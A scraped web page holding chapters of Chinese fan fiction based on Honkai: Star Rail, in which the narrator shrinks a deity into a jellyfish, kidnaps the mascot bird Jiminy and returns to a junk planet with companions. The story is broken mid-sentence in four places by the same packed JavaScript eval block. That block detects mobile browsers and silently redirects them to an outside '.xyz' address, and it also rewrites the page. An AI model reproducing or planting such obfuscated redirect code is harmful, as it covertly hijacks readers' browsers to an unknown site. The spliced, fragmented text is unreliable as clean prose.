l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558708|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性格再加上三月七这个听风就是雨的,瓦|尔|特和姬子肯定会担心这俩会不会跑着跑着就丢了,所以丹恒就成了看管他俩的不二之选。 或许丹恒还真的到过垃圾星。 但是垃圾星的时间线早就混乱不堪,虽然也是在有条不紊地往前运行着,但这里毕竟是时间星神的飞生地,尤其是来了很多不是人的小家伙后,就愈加杂乱。 说来说去你也没想清楚,时间星神怎么会在垃圾星上飞升,这个地方到底有什么是能和时间扯上关联的。 难道又是阿哈在捣鬼。 不,阿哈应该没有能耐篡改你的记忆。祂可以通过老桑博误导你,但是那些刻在你脑子里的记忆祂是无法改变的。 但也很麻烦,据老桑博所说,他应该很早就认识你了。如果那个时候他就成心误导你,向你灌输错误的记忆,那么现在的记忆也不尽然真实。而且你的记忆好像是一阵一阵的,随机恢复一些。希望这个时候迷思那个家伙没有暼视过你,否则你的记忆就又开始混乱了。 然而,就是说什么来什么,怕什么来什么。不等你向白厄同步一下自己的想法,那个迷思就来了。 祂的形象像是破碎的水母,螺旋的阶梯下流淌着五颜六色的染料。祂的触手将你紧紧包裹住,连带着你的身躯也染上了五花八门的色彩。这些染料爬满你的脸颊,直至头顶。与此同时,你感觉到有什么凉凉的东西进入了你的大脑,却不是窥探和探索,而是将你的神经全都打上了结。 好久没被星神暼视了,你还觉得有些不习惯。 仅仅只是有些吗? 好吧。 你承认,不止是有些,是非常不习惯。尤其是当那个触手伸进你脑袋里的时候,你生生有种被击碎天灵盖的感觉。 以前被星神暼视的时候反应也没有这么大。唯有虚无的这个想弄死你,其余都是给予你力量。 哪儿像这个迷思。 你怒了。 这是个不好的征兆。 因为你撕碎了迷思的身体。 这家伙本来就是个破碎的,被你这么一撕扯就更碎了。染料掉了一地,祂终于是失去了全部的色彩,只剩透明的软趴趴一团。 你用了丰饶的力量把祂修复完整,再看时也就只不过是一只普普通通的小水母,还没有你的掌心大。至于那个螺旋状的阶梯,也早就拆分了融入水母的身体内,如今这个小家伙透明的身躯里散发着暖黄色的光芒。 你想起了走在神秘命途上的两个学派,一是谜语人,二是虚构史学家。虽然迷思如今半死不活地趴在你的手掌上,但并不代表着神秘的命途就此消失。 人或许有时候不会去追究事情的始末,迷迷糊糊过一生也挺好。或许宇宙诞生之初的你也存有这样的想法,迷思才会因此诞生。 你叹了口气。 也罢,就当垃圾星上又多了一个小家伙吧。 54.庇尔波因特 以前你都是把人变得不是人,现在是把星神变得娇小可爱。这估计应该不是阿哈在捣乱,是你时间星神的力量在发挥作用了。 第一,迷思没有变成水母之外的东西,仅仅只是回归了小时候的阶段,这很符合时间的力量。第二,同为星神,即使力量之间有所差距,阿哈应该也没有这么大的能力把迷思变小。 综上所述,迷思的锅都是你的。 你叹了口气。 好吧。 也不知道是你已经见怪不怪了,还是这回没有霍霍符合人这个定义的生物,你现在的心态异常精彩。 不过倒是把白厄吓得够呛,他焦急的声音像是来自遥远的天外,却偏要用生生震碎了鼓膜的效果把他的话一字不漏地传到你这里。 看来白厄这个家伙也不是个简单的人物。 你打破了浩瀚的星空,眼前的景物像是镜子碎裂了一般,把你从那个神秘的空间剥离出来。 你看白厄脸不红气不喘的模样,哪里像是你在那个神秘的空间里听到的焦急声的发出者。 你一时间起了小性子,直接把手里的小迷思塞到了白厄的手里,“这个小家伙交给你了,我垃圾星养不起那么多闲人。” 白厄被你的动作塞得一踉跄,差点儿没立刻给你跪下。不过比起只有膝盖着地,他现在是整个正面都紧紧贴在了地面上,看起来似乎比双膝跪地又高了一个档次。 不过他这个姿势委实有点儿奇怪,一只手像站立似的垂在身体一侧也就罢了,另一只手却举过头顶,只竖起食指。再结合他这副半死不活的样子,活像是临死前在指认,“她……就是凶手……” 呃。 你摸了摸鼻子。 可能是见惯了有的人临死前指认凶手却总是说不出口的场景,如今看白厄这个没有留下任何悬念的姿势倒真是新奇。 不过他为什么会直接趴在地上呢。难道是星神迷思的力量还有残留,而白厄压不住祂才会如此吗。 没道理呀,如今的迷思不过就是只小水母,能掀起什么样的风浪。 你正要将迷思从白厄的手里拿出来,好死不死那几个去找叽米的小家伙回来了——也就是砂金,真理医生,欧泊和舒俱他们。 好家伙。 要回来居然都一起回来了。 整整齐齐的,一个不多,一个不少。他们看到了趴在地上的白厄和正在努力扣白厄手心的你,脸上都露出难以言喻的表情。 砂金率先开口:“朋友,你又在招蜂引蝶了。” 什么招蜂引蝶,你是在救苦救难好不好。 欧泊奶声奶气:“姐姐是个大坏蛋,抢别人的东西。” 这个奶娃娃,实在是麻烦得很。 舒俱冷哼一声:“这不是她的常规操作吗?” 喂。 舒俱这狗腿子当得也太顺手了,居然就这么一句话就给你定了罪。 真理医生则发现了华点:“他依然还是人的形状。” 谢天谢地,最有脑子的开始发力了。 不仅真理医生奇怪,你也奇怪。当然你已经过了奇怪白厄没有变得不是人的阶段,而是奇怪这几个小家伙是怎么看得见白厄的,而且还能知道他如今还是人形。 瓦|尔|特先生都是说了几句话才能察觉到异样。当然他能察觉也是因为你在旁边起了关键性的作用。而这几个小家伙和你朝夕相处,这么来说的话他们能看到白厄的存在也不是那么令人意外。归根结底,原因还是你。 你叹了口气,隆重向他们介绍了白厄,还有他手里的小水母。当然,你没有说出小水母的真实身份。总感觉没太有必要,横竖祂现在是个小生物,而且暂时也掀不起多大的风浪。再说要是让真理医生知道了祂的身份,高低得和螺丝咕姆研究到地老天荒。搞不好还会把机器头引来,到时候宇宙间的一切神秘都无所遁形。这么来说的话,好像确实也挺可怕的。 宇宙间的万物总要维持个相对平衡。 你无奈地扶了一下额。 这明明是均衡星神互的想法。 看来,均衡无处不在。 你以为你不说真理医生就猜不出迷思的身份吗,他早晚会知道的。 呃。 虽然说这么想确实有些天真,但晚一天是一天吧。 “搭档,你是不是该扶一下我?”白厄脸朝下趴在地上,瓮声瓮气地说道,“我以为你会在介绍我的时候就把我扶起来,没想到介绍完了还让我趴在地上。” 带了些许淡淡的苦笑和无奈还有一些调侃。 哦。 差点儿把这个家伙忘记了。 正要伸手去扶,你想到了什么,猛然间缩回手。 ? 他不能自己起来吗? 砂金上前叼起白厄的衣服,试图把他拉起来,但好像没什么太大作用。除了撕下几块轻飘飘的布料,别的啥也没有。 真理医生道:“他好像被地面黏住了。” “来点儿水润润。”欧泊像是起了玩心,直接喷出奶水来,把白厄从头到脚地浇了一遍。 哦。 可怜的黑暗剑士白厄。 你终是看不下去,伸手把白厄拉了起来。他舒出一口气,“搭档,如果不是相信你的为人,我都要怀疑你是不是叫了一群人折磨我。” “你们好,我是白厄。” 白厄依次和几个小家伙握手。 砂金张开翅膀在他的手上扇了一下。 真理医生有洁癖,更何况白厄现在浑身是奶。 欧泊直接塞进了你的嘴里。 舒俱则是将手串弄成一个手的形状,和白厄握了握。 四个人里,只有舒俱给足了白厄的面子。砂金倒是想给,无奈他不能像舒俱那样变换外表形态。真理医生和欧泊是完全不给面子,一个冷淡异常,一个挑衅十足。 你把欧泊从嘴里拿出来,无奈向白厄解释道:“他们就是这样的性格,不要在意他们的行为。你只需要讨好我就可以了。” 此话一出,另外几个小家伙的脸色都变幻莫测。还是砂金给力,率先打破僵局,“是是是,白厄兄台,你只需要讨好她就可以了。” 真理医生直接啪地一声打在了你的脑门上,明明心里恨铁不成钢面上却依旧挖苦道:“色令智昏!” 欧泊往白厄身上滋奶水滋得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568248|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更勤奋了。 舒俱则是默默地套住了你的手腕,任凭你怎么撸也撸不下来。 这几个家伙。 白厄笑着凑近了你的耳朵:“他们挺有意思的。” “希望你也能成为他们的一员。” 你有气无力地说道:“本来带他们来是让他们各归各位的,没想到直接回来了。” 你有些烦躁地揪了揪头发。 一个两个的都在公司身居高位,怎么偏偏想不开要跟着你浪迹天涯。 “公司内已经有人替代了我们的位置。”真理医生慢条斯理道:“你的各归各位计划算是落空了。” “谁敢这么做,我立马去灭了他们!” 真理医生意味深长地看了一眼白厄:“是和这个家伙差不多的东西。他们的记忆仅限于我们去垃圾星遇上你之前,后面的记忆则是由他们自己通过生活补足而成。类似于平行世界,在人生的岔路口,他们选择了一条和我们截然相反的路。” 果然。 你叹了口气。 还真是被你说中了。 恐怕在公司眼中,砂金和真理医生还有欧泊以及舒俱,他们从未离开庇尔波因特。恐怕在他们做出决定之时,浮黎就已经知道了他们将会遇到你,然后受你的影响变得不是人,然后再也无法离开你。所以祂就未雨绸缪,直接造出他们的记忆体用来代替他们的位置,使事态的发展不受你的影响而稳步向前——记忆自动修复功能。 不得不说,这个操作真的绝了。 你这个变量,终究没有发挥出本来的作用。 阿哈是不是得气得跳脚。 你的心放下了一些,但是又担忧起这几个小家伙来——自己被自己取代的滋味,应该是不太好受的吧。 “你们……没有后悔过吗?” 许是你抽象惯了,第一次看你露出如今这副可怜巴巴的模样,他们还有点儿不适应。 啊。 露出这副神情,你也很难堪的好吧。 其实在说出这句话之后,你就恨不得扇自己几个耳刮子了。 突然搞得这么悲情干什么。 你的宗旨不就是大家玩玩闹闹,一起把日子过好比什么都重要吗。 啊。 有没有什么地缝儿能让你钻进去。 你的脑子正在飞快地旋转着。 估计得冒烟了。 得赶在他们出口安慰你之前把这个悲情给遮掩过去,否则几个人抱着哭成一团像什么样子。 砂金眼看着就要开口了。 你心里这个急啊。 视线扫过几个小东西,你想起了什么,怒道:“我要的那只小肥鸟呢!” 许是你情绪切换太快了,几个小家伙被你的反应弄得愣了一愣。 白厄抓了抓头发:“什么小肥鸟?” 枪打出头鸟。 你伶俐的眼光看向他,忽然间注意到他头上的两根呆毛像极了折纸鸟小啾啾。 奇怪。 小星星见了他居然忍得住不伸手。 既然如此,那么就由你来完成这个伟大的壮举吧。 你伸出了罪恶之手。 55.庇尔波因特 当然你的计谋没得逞,因为你的注意力很快就被另外一只小鸟给强走了。没错,就是那只小叽米。虽然不知道这个家伙为什么会出现在这里,但是当它戴着一个黄色的游泳圈出现在你面前的时候,你就已经无法控制自己了。 你果断放弃了白厄,奔向叽米。这个小家伙显然被你吓得不轻,一双翅膀在身前颤抖:“你要做什么?” “不做什么。”你伸出了罪恶之手,狠狠地揪了一下叽米头上的毛。 白厄抚了抚胸口:“好险好险,差点儿没被揪成秃子。” “放心吧,新来的朋友,她舍不得。”砂金的声音里带了几分调笑。 许是他们的出声让叽米先生感觉到了友好的气息,它紧急向他们求助。当然,首先求的就是真理医生。 “拉……拉帝奥教授……” 真理医生似是很意外叽米会认出自己,书本哗哗翻页的时候分出一个眼神给叽米:“你在向我求救吗?” “不……不可以吗?”叽米的声音听上去都快哭了。 另外三个——砂金,舒俱还有欧泊都是战略投资部的,估计叽米也不敢求,只能抱着最后一点儿希望,瞪着溜圆的深黄色眼睛求助地看着真理医生。 只是可惜真理医生也拒绝了它。 唉。 你叹了口气。 这个小家伙真的可怜呐。 虽然它的可怜都是你造成的。 你摸了摸鼻子。 这只小鸟在星际和平公司的节目里可是很火的一位存在,虽然很高调出名,但是性格却有些小人物的底色——见人说人话,见鬼说鬼话。比如在介绍公司高层时会隐瞒自己不想加班的想法啦,在和尾巴大爷的交流中对藿藿前后态度的反差啦以及在面对波提欧一连串优美的台词时露出的娇羞小表情啦等等等等,都让你的内心对这只小鸟好感度飙升。 虽然没有人形,但是叽米先生却很对你的口味。 呃。 对你的口味难道是什么值得骄傲的事情吗?从桑博到舒俱和欧泊,哪个对你xp的不遭殃? 说得也是。 你叹了口气。 内心的喜悦散去了些。 但是你还是决定不放过这只小叽米,你要把它带会到垃圾星,让公司哭天抢地。 除非那个记忆星神浮黎再发力。 但横竖不管如何,你都是不会吃亏的——因为叽米已经在你的怀抱里了。 “求求你了,求求你了,帮帮我这可怜的小叽米吧。” 许是实在不忍心,白厄的脸上竟流露出一丝伤感。 这孩子也太容易心软了。 你紧紧抱住叽米,向白厄展示你的决心。白厄见状却只是叹了口气,“人活得还不如一只鸟。” 听到这话你总算是明白了,原来他不是要和抢夺这只小叽米然后把他放生,而仅仅只是想和你一起回垃圾星而已。 可是白厄不是翁法罗斯的救世主吗,跟着你回垃圾星干什么。 白厄道:“可是搭档,你不是也答应了瓦|尔|特先生要去翁法罗斯的吗?” “合着你是来监督我的?” 白厄摇了摇头:“我只是想为与我的搭档同行找个借口。” 这个家伙。 你既然打定主意去翁法罗斯,就一定不会食言。但你却不想与白厄这个翁法罗斯的本地人一起去。这个家伙身上的不确定因素太多了,谁知道和他一起行动会不会出什么乱子。 你身上的不确定因素也不少,你好意思说人家白厄吗?人家都没嫌弃你,你干嘛要嫌弃他。本是同根生,相煎何太急。 啊呸呸呸呸,学了几句诗就可以乱用啊。什么叫本是同根生,相煎何太急啊。你和白厄又不是亲兄弟姐妹啥的,扯什么亲戚关系呢。 你这么着急你和白厄的关系,应该不是因为这个吧。 呃,半斤八两吧。 你不对劲儿,动了小春心。 随你怎么说吧,反正你就是不想和白厄同行。就是因为你身上的不确定因素太多,他身上的不确定因素也太多,所以你才不想两个人一起行动,再加大这种不确定发生的概率。 万一浮黎那老小子想暼视白厄的时候,阴差阳错暼视到你身上了,咋整? 你找谁说理去。 提到浮黎那老小子,瓶子里的小水母不安分地撞了一下瓶身。是了,这小家伙趁着你把白厄扶起来的空档儿,自己从白厄的手里爬到了你的身上。你实在受不了它这种黏糊糊的湿凉触感,而且只要一想起它曾经试图将触手插进你的脑袋里你就一阵头皮发麻,万般无奈之下你只能把它锁在了小瓶子里,还装了五分之四的水。 这个本来是给欧泊准备的,现在他用不上了,就只能给迷思这个家伙了。希望它能看在这份儿恩情上安分守己,别再给你惹什么麻烦了。虽然它惹出来的麻烦你都能解决,但多一事不如少一事。你不怕事儿,但也不想惹事儿。 “不需要借口。”你淡定地对白厄道:“我喜欢你的为人,白厄,但不代表我就愿意和你一起前往翁法罗斯。” 你直接将话挑明了,并且观察着白厄的神色。他的表情有些落寞,像是一个被拒绝了的丧气小狗,连头上的呆毛都失去了往日的坚|挺。 “搭档,我可以问下原因吗?” 抱抱他吧,他快要碎掉了。 你心底有个声音在呐喊。 你叹了口气,再次遵守了自己的本心——紧紧地拥抱了他,然后咬了一下他的耳朵,“没有原因,我带你一起回垃圾星。” 白厄兴奋得像个两百斤的孩子,回抱住你的力度也更紧了。你们俩这个姿势引起了其他人的不满,几个小家伙纷纷抗议。 砂金叫道:“朋友,我要闹了,我绝对要闹了。” 欧泊又开始滋奶,“姐姐,我也要抱抱,我也要抱抱。” 舒俱则直接变大几倍,从手串变成了项链,狠狠套在白厄的脖子上,一直把他往后拉,生生地把他从你的怀抱里拉走。 你惊呆了。 这就是传说中的人狠话不多吗。你以为符合这个定义的只有刃,所以一直对他毕恭毕敬,但是万万没想到,和砂金一样张扬爱摆谱的舒俱,私底下居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573553|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然有这样狠辣的一面。 然而更让你惊呆的还在后面,真理医生居然拍了一下白厄的后脑勺,问他是哪个老师教出来的,还说他没毕业,赶紧回去上学去,上完学才能想这些乱七八糟的事情。 啊这。 真该让白厄口中的那刻夏老师和真理医生好好面对面一下。 去翁法罗斯的人选中除了丹恒还应再加个真理医生。 原来你特意回去一趟是想带上丹恒。 要不你以为呢。该不会是真的以为仅仅只是把叽米绑回垃圾星吧,也太小看你了。 哦。 天呐。 又怎么了。 差点儿忘了。 白厄特意说了不能叫他老师那刻夏,得叫阿那克萨戈拉斯,否则那位脾气古怪的老师会生气的。 嗯,得在出发前就改过来。否则养成习惯就糟糕透顶了,肯定会被那个古怪的老师赶出课堂的。 你咬着小手绢默默垂泪。 但是不知怎么,你心底里顿时起了恶趣味——就是不想告诉真理医生不能叫阿那克萨戈拉斯为那刻夏。 嘿嘿。 脾气古怪,能有真理医生脾气怪吗?外界都在传言真理医生的脾气又臭又硬,虽然你不见得这么认为,但是不妨碍你想看两个学者对骂呀。那场面,真的是想想都精彩。你的心情激动起来,恨不得立马就去翁法罗斯,找到那刻夏,然后让真理医生和他抬杠。 或许你还不知道,学者之所以毒舌,是因为他们看见了蠢人。而当遇到与自己磁场相符的人时,他们自然而然地就会被其吸引。 争吵其实并没有任何意义,除了耗费你的时间精力一无是处。而当遇到能和你争吵的学者时,说明他认为你还有救,至少在他看来是这样。而有一种人,在觉得你不可救药的情况下,却还想试一试在你身上花费一些时间精力后的效果。这样的人无疑是难能可贵的,但也是傻得十分可爱的。当两个可爱的人碰到了一起,会发生什么? 呃。 变成可爱多? 感谢你终于跟上你的脑回路了。 真是信了你的邪,早就知道你的大脑里不会有什么正经的东西。 通篇看下来,文理不通,狗屁不是,全都是精神污染。 多谢夸奖。 “搭档,再不救我我就……断气了。” 啊。 差点儿把白厄忘记了。 遂赶紧去看白厄的状况。 不看不要紧,一看吓一跳。 砂金已经与舒俱同仇敌忾,正拼命扑闪着翅膀。看他俩这架势,是势必要把白厄扼杀在庇尔波因特了。欧泊还是一如既往地喷奶,仿佛要把此生吃的奶都吐出来一样。反观真理医生倒是放弃了对白厄后脑勺的捶打,而是盯住了那个抱着盛有迷思小水瓶要逃跑的叽米。 关键时刻,还是真理医生靠谱。 你叹了一口气。 先把白厄从舒俱和砂金的迫害中解救出来,然后把迷思从水瓶里倒出来,朝着叽米道:“咯咯咯咯,吃吧,上好的饵料,别的鸟别的鸡都是吃不到的。” 56.庇尔波因特 能把神秘星神当成饵料喂给小家伙的人,古往今来也就你一个人了吧,恐怕阿哈至今为止都未曾达到过你的成就。 不过就算你敢喂,叽米先生也未必敢吃。它看着还在蠕动的小水母,大概是胃里犯恶心吧,它居然直接吐了出来,但好死不死就是没有吐在小水母身上。 白厄抓了抓头,“呃……” 叽米先生到现在都在维持着它的风度,真不愧是公司红顶天的人物。既然如此,你就更要带回去不可了。 不过你还是有些失望就是了。 因为叽米没有变成人形。 根据你一些不着边际和毫无理由的推测,你觉得桑博的人形应该是当惯了面具,所以在你身边的时间长了,他才会恢复成人形。同理放在叽米身上也是一样的,它当惯了鸟儿,或许能在你的影响下变成人也说不定了呢。 毕竟你既然能把人变得不是人,那么也能把不是人变得是人。 这么说来的话,桌子椅子啥的也都能变成人了。 不,这不一样的。桌子椅子不像景元他们这些小家伙似的会说话,而且还或多或少地保留了一些为人时的能力。但叽米就不一样了,它可是能说会道,而且如果它不是鸟形的话,你几乎都要以为它是个人了。 好吧。 你叹了口气。 终于无可奈何地认同了你无厘头的推论,但也与此同时打破了你的这种推论。然而你并没有放弃,桑博可是个老奸巨猾的家伙,背后肯定隐藏了不少东西。你得把叽米带回去,好好研究一番。 白厄食指并中指夹起了小水母。 你正要抱着叽米和白厄还有砂金他们一起离开,卡美丽女士就一把鼻涕一把泪地跑了出来,还带了一群公司的员工:“我就一个没看着啊,叽米先生它就跑出来了。然后我一看毁了啊,那个小姐已经把叽米先生抱起来了啊。我只能回去搬救兵呐,但是你们咋说是我害死了叽米先生呢。请苍天,辨忠奸!我真的没有和那个小姐相互勾结啊。” 白厄挡在你的面前,把小水母交到了你的手上:“搭档,交给我。” 然而那群公司员工丝毫不听她的狡辩,直接就把她拖走了。原来那群家伙不是来找你麻烦的,而是来带卡美丽女士走的。 白厄显得有些尴尬,抓了抓头发:“这可真叫人意外。” 不光他意外,你也感到意外。这群公司员工搞什么鬼,他们明明看到了是你在抱着叽米,为何还是要把卡美丽带回去呢。难道只是一群吃饭不干事儿的家伙?不对啊,他们公司员工不是号称卷生卷死吗?放着这么好的立功机会不要,等着第二天还会有馅饼砸下来呢。 白厄道:“搭档,你是不是很凶?” “啊?” 这和凶不凶有什么关系。 白厄道:“要是你很凶的话,他们再来抢夺叽米先生岂不是好高骛远?” 好像也是这个道理。想从你的手里抢走叽米先生对他们而言是做不到的事情,与其搭上自己的性命去追求更大的利益,不如抓紧眼前的小机会,稳扎稳打。但由于浮黎的自动记忆修复功能,这些公司员工应该不记得你的实力呀。 与此同时,怀里的叽米也终于开始哭喊,大概是见到那群公司员工真的准备无视自己了:“救救我啊,救救我啊,她要把我炖了啊。” 呃。 且不说你原先抱叽米回去是不是真的要炖了它,但就是为了叽米先生这副鬼哭狼嚎的样子,等你回了垃圾星,你高低得把这句话坐实了。 不过还是先解决眼前的麻烦要紧。 光天化日,朗朗乾坤,你岂能让这些恶徒欺负卡美丽女士!必定化身正义,扫除世间邪恶,清除这股法外分子! 你整个人都散发着一股刺眼的光芒,比起天上的太阳也不遑多让。趴在地上的小水母险些被你的光热融化掉,幸而真理医生张开书本,为其挡住了一部分热量。 怀抱里的叽米已经被烧焦,冒着浓浓的黑烟,散发着诱人的芳香。你没忍住低头啃了一口,然后再不眷恋这凡间…… 停! 怎么说得跟回不来了似的。 这股莫名其妙的视死如归氛围究竟从何而来。 拜托,你只是打几个公司的小员工,又不是什么顶级星神大BOSS。不要为了凑字数而掉b格了好吗。 是! 遵命! 你再无后顾之忧,直接把叽米一丢。正要往前冲的白厄见状,着实愣了一下。他估计是没想到你会把叽米丢给他,然后让他在旁边观战。不过他更没想到叽米这只小家伙看似已经烧焦,但很快就恢复了原形,胡乱蹬着爪子,扑腾着翅膀准备飞走。 白厄一个没留神,直接被叽米骑了脸。然而强中更有强中手,舒俱早有准备。他直接自动变成了项圈套在了叽米的脖子上,并且还延伸出一条锁链,在尾部变成脚铐,不由分说地套在了砂金的小腿上。 “兄弟,多担待。” “哈哈。”砂金笑了起来,但笑完就不客气了,“谁跟你论兄弟?” 叽米讨好地笑着:“既然都不论兄弟,二位总监就放了我吧。呜呜我上有老下有小,媳妇还没找呢。” “关我什么事儿。”舒俱冷哼一声。 砂金客气一些:“回到垃圾星,我会给你找只好鸟。” 几乎在砂金说完这句话的时候,你就如同离弦的箭一般飞了出去。 之前你干啥去了。 还能干啥,看叽米先生扑腾的好戏呗。 你迅速在几个公司员工之间穿梭。他们尚未反应过来,就已经被你打得落花流水,毫无招架之力。一个个倒地不起,口吐白沫,捂着肚子痛苦地哎呦哎呦。 当然哎呦的还有白厄。不过他不是被你打的,而是被叽米的爪子给抓的。这个小东西估计是好长时间不剪脚趾甲了,抓得白厄脸上出现了几道划痕。 给你心疼得差点儿没背过气去! 这个老叽米! 卡美丽被你帅气的一幕惊呆了,脖子机械地转了个角度,“我应该是在做梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580083|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”她像个僵尸一样向前伸出双臂,蹦跶蹦跶着逃跑了。 连个谢谢都不说,真没礼貌。 你吐槽着卡美丽,然后伸手在白厄的脸上轻轻一抚——被你摸过的地方全都恢复如初。 只能说幸好你还有丰饶的力量,否则你现在就会把叽米这只鸟丢进锅里炖汤。 你提溜着叽米的两只翅膀把它拎了起来。 舒俱向来看不惯砂金,偷摸着把链条缩短了。砂金一个没留神,直接被你拽倒在地,红色的小腿擦破了点儿皮。 给你心疼得呦。 今天两位帅哥接连受伤,你捶胸顿足,伤心不已。丰饶的力量虽好,但你宁愿这股力量永远无用武之地。 欧泊安慰道:“姐姐别怕,幸好不是开水。” 舒俱在旁冷冷道:“没事,他不怕开水烫。” 砂金忍不住骂道:“你才是死猪。” 白厄摸了摸鼻子。对于这种内部争斗,他估计是觉得自己这个外人还是不插足为好。不过看他的表情应该和你内心的想法大差不差——这几个公司高层吵起架来怎么跟小孩子似的。 你的手放在砂金的小腿处,丰饶的力量在掌间凝聚,细细地愈合着砂金的伤口。你注意到砂金的神情有些不自然,问道:“怎么了?” “恨明月高悬不独照我。”真理医生慢悠悠道。 真理医生又开始拽文了,应该把景元和椒丘还有青竹以及丹恒跟真理医生绑定的,这几个家伙在一起吟诗作对也挺美的。 景元虽然是个领兵打仗的将军,但肚子里的墨水也不少,丝毫不比那些舞文弄墨的文人雅士差。椒丘是个谋士,说起诗词歌赋来应该也是不落下乘。丹恒则是更喜欢埋首在智库里,大概可能会偏现代一点儿,正巧和他们交流交流。至于青竹嘛,虽然了解不多,但听这个名字,就知道功底深厚。 你不想再耽搁时间了,抱了砂金和叽米后,让舒俱戴在你的手腕上,欧泊塞进你的嘴里,真理医生顶在你的头上。至于小水母嘛,就只能让叽米先生含着了。虽然叽米先生的嘴巴不如鹈鹕那么大,但是含着一只小水母还是绰绰有余的。 而关于白厄,由于他坚定不移地要和你回垃圾星,你也就只能由他去了。因为他是个人形,是个独立的个体,不像是其他小家伙似的可以通过成为你身上的配饰或是宠物啥的与你分享某个看不见摸不着的链接绑定在一起。你就只能让他从身后紧紧揽住你的脖子,叮嘱他无论受到什么样的冲击力都不可以松开。 由于寻常人类的身体不能直接接触太空,这里乱七八槽的射线实在太多。于是在真理医生这个外置大脑的指挥下,你利用存护的力量瞬间捏造了一件衣服,直接给白厄换上了。 一切准备就绪后,你直接原地升天,冲出了大气层,成功回到了垃圾星。 就这样,你半是成功半是失败地多带回了两个小伙伴——一是叽米,二是小水母。至于白厄,当你们在垃圾星降落时,那件衣服里却已经空空如也了,只留下一块残破的黑布。 57.垃圾星 或许只有一种可能性能够解释白厄的去留——那便是他被某种东西困在了庇尔波因特。但可能性微乎其微,因为你出现了。你的身上拥有着不可预知的力量,如果连你也无法带他离开,那他就只能在一个无人的角落默默消失——不会有任何人记得他的存在。 但你忘记了另外一种可能性——也可能是白厄自己离开的。因为他的那张脸,你几乎对他没有什么防备。你天生就对面庞姣好的人抱有善意,毕竟谁会不喜欢一个头上会长两只呆毛的阳光开朗大男孩呢。 但是现在他丢了。 你叹了口气。 早知道这样,你在庇尔波因特的时候就该好好蹂躏他一番,如今也不至于在这里唉声叹气。 “嘿,伙计。” 桑博这个家伙又跑出来了,还是顶着那副眼罩,好像从来没有被拿下来一样。 “桑博,你说这个世界上有不受我影响的男人吗?” “伙计,你这句话的意思无异于问我有不拜倒在你石榴裙下的男人吗。” 你直接给了桑博一记爆栗。 他捂着脑袋,“我说伙计,你怎么还这么暴力。我也是有脾气的,你再这么对我,我就离家出走,我再也不回来了我。”说完拔腿就走,到了门口却走不动了,嚷嚷着,“你别拉我,你别拉我,我走定了。” “没人拉你。” 慵懒随性的声音是从门框上传来的。 原来是景元正趴在门上睡觉,桑博刚才开门的时候差点儿没把他晃下来,现在没给他一爪子就不错了。 “老兄,无名欺负我也就罢了,你怎么也欺负我。” “哈哈哈。”景元伸了下懒腰笑了,“欺负?这个词儿倒是有些新鲜。你说是与不是,丹恒?” 丹恒这个家伙自从听你说了白厄的事情后,也不肯乖乖地贴在墙上当个装饰物了。他换了个地方,也就是门的背后。有个什么动静,除了门把手就是他先知道了。 面对景元的话头,丹恒仿佛在认真思考,然后毫无征兆地直接零帧起手。一场突如其来的雨就这样浇在了桑博的头顶,直接把他淋成了落汤鸡。 你算是看出来了,丹恒其实也是个人狠话不多的人物,只不过比起刃来就显得温和多了。 经过这一场雨水的洗礼,桑博也不耍脾气了。他是商人,见人说人话,见鬼说鬼话。在你看来,这个家伙和叽米没什么两样,都是可以随时在锅里炖的那种。 欸? 你难道不是因为叽米的外形才想炖它吗?闹了半天,其实是因为它的性格? 两者兼有而已。 “回答你的问题,伙计。”桑博正经了一些,“这个世界上有不受你影响的男人吗,当然有。一是不符合你xp的,这个你已经遇到了,就是列车组的瓦|尔|特先生。二是专门制造出来用来对抗你的影响的,这个你也遇到过了,就是你们在庇尔波因特遇到的白厄。” “说得真好。”你简直要给老桑博鼓掌欢呼了。 说了跟没说似的。 你揪住了老桑博的领子,“我问的是除了上面两种,还有没有别的?” “淡定,伙计。”桑博委屈道:“你没遇到过的,我上哪里知道去。就像是白厄,你不说我也不知道啊。” “那我再问你一个问题。” “只要我老桑博知道的,一定知无不言,言无不尽!” “有没有受你影响的男人?” “当然有,符合你xp就可以。” “仅仅只是符合xp就可以吗,还有没有别的?这个xp的定义太广泛了,是只说外貌符合审美还是身世成谜勾起好奇心还是别的什么?还有这个男人,指的是雄性生物还是就是指具有男性的人形又或者是单纯的人类男性?” 